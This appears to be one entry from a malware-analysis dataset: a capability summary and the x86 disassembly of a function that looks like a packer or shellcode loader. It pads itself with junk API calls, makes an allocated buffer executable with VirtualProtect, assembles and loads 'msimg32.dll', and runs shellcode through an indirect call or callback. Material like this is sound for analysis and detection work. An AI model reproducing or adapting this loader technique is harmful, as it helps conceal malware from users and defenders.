Function at 0x429750
Capabilities:
Allocate or change rwx memory
Copy file
Create directory
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x24f0
call fcn.004125d0
push ebx
mov ebx, dword [esp + 4]
push ebp
mov ebp, dword [esp + 0x2c]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d19c
jge 0x429784
push 0
push 0
push 0
call edi
cmp dword [0x7b7820], 0x6fb
jne 0x42979c
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
cmp esi, 0x1e9afa0a
jle 0x4297b4
cmp ebx, 0xc10b4e
je 0x4297b4
cmp ebp, 0x9068a6c
jne 0x4297bd
inc esi
cmp esi, 0x83358
jl 0x429774
cmp dword [0x7b7820], 0xcf8
jne 0x4297ef
push 0
push 0
call fcn.004077e1
push 0
push 0
call fcn.00415b94
add esp, 0x10
lea eax, [esp + 0x50]
push eax
call fcn.00405b70
push 0
call fcn.00407d80
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x42980a
mov eax, 0x5d1
add dword [0x7b7820], eax
cmp dword [0x7b7820], 3
jne 0x429821
push 0
push 0
lea ecx, [esp + 0x508]
push ecx
call edi
inc esi
cmp esi, 0x1518d4
jl 0x4297f7
mov edx, dword [0x7b7820]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x437884], eax
mov eax, dword [0x7b7820]
xor esi, esi
test eax, eax
je 0x429891
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x429868
push 0
lea eax, [esp + 0x504]
push eax
call ebx
call fcn.00429260
mov eax, dword [0x7b7820]
cmp eax, 0x29
jne 0x42988c
push 0
push 0
lea ecx, [esp + 0x508]
push ecx
push 0
call edi
mov eax, dword [0x7b7820]
inc esi
cmp esi, eax
jb 0x429855
cmp eax, 0x70
jne 0x42999c
lea edx, [esp + 0x100]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0
push 0x40419c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x500]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x1504]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0x40422c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0x40428c
push 0x40435c
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea ecx, [esp + 0xd04]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea edx, [esp + 0x1d08]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
lea eax, [esp + 0x18]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x7b7820]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x4299ee
push 0x4043f8
push 0
lea ecx, [esp + 0x108]
push ecx
push 0x404438
push 0x404460
push 0x4044b4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov eax, dword [0x7b7820]
cmp eax, 0xdf
jne 0x429a8c
push 0x4044d0
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
lea eax, [esp + 0x10c]
push eax
push edx
mov dword [esp + 0x28], edx
call ebp
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call esi
push 0x4044f0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x404508
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0x4045b8
push 0x404620
call dword [sym.imp.KERNEL32.dll_CreateDirectoryExW]
push 0x404504
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x7b7820]
dec dword [esp + 0x10]
jne 0x4299c0
mov edx, dword [0x437884]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x432af0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00429550
mov eax, 0x29df
add dword [0x437884], eax
mov ebx, 0x6c
push 0x432af0
mov dword [0x432af6], 0x6c642e32
mov dword [0x432af0], 0x6d69736d
mov word [0x432afa], bx
mov word [0x432af4], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, 0x73
mov ecx, 0x6d
mov edx, 0x33
mov word [0x7b6832], ax
mov word [0x7b6836], cx
mov word [0x7b683a], dx
xor ecx, ecx
cmp dword [0x7b7820], 0xc30
mov eax, ebx
mov edx, 0x64
mov word [0x7b6842], ax
mov word [0x7b6846], cx
mov word [0x7b6840], dx
mov eax, 0x67
mov ecx, 0x69
mov edx, 0x6d
mov word [0x7b6838], ax
mov word [0x7b6834], cx
mov word [0x7b6830], dx
mov word [0x7b6844], bx
mov dword [0x7b683c], 0x2e0032
jne 0x429c12
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x100]
push edx
push 0x404650
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0xd0c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
lea edx, [esp + 0x1504]
push edx
push 0x404668
call esi
push 0
lea eax, [esp + 0x504]
push eax
push 0x404688
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x18]
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret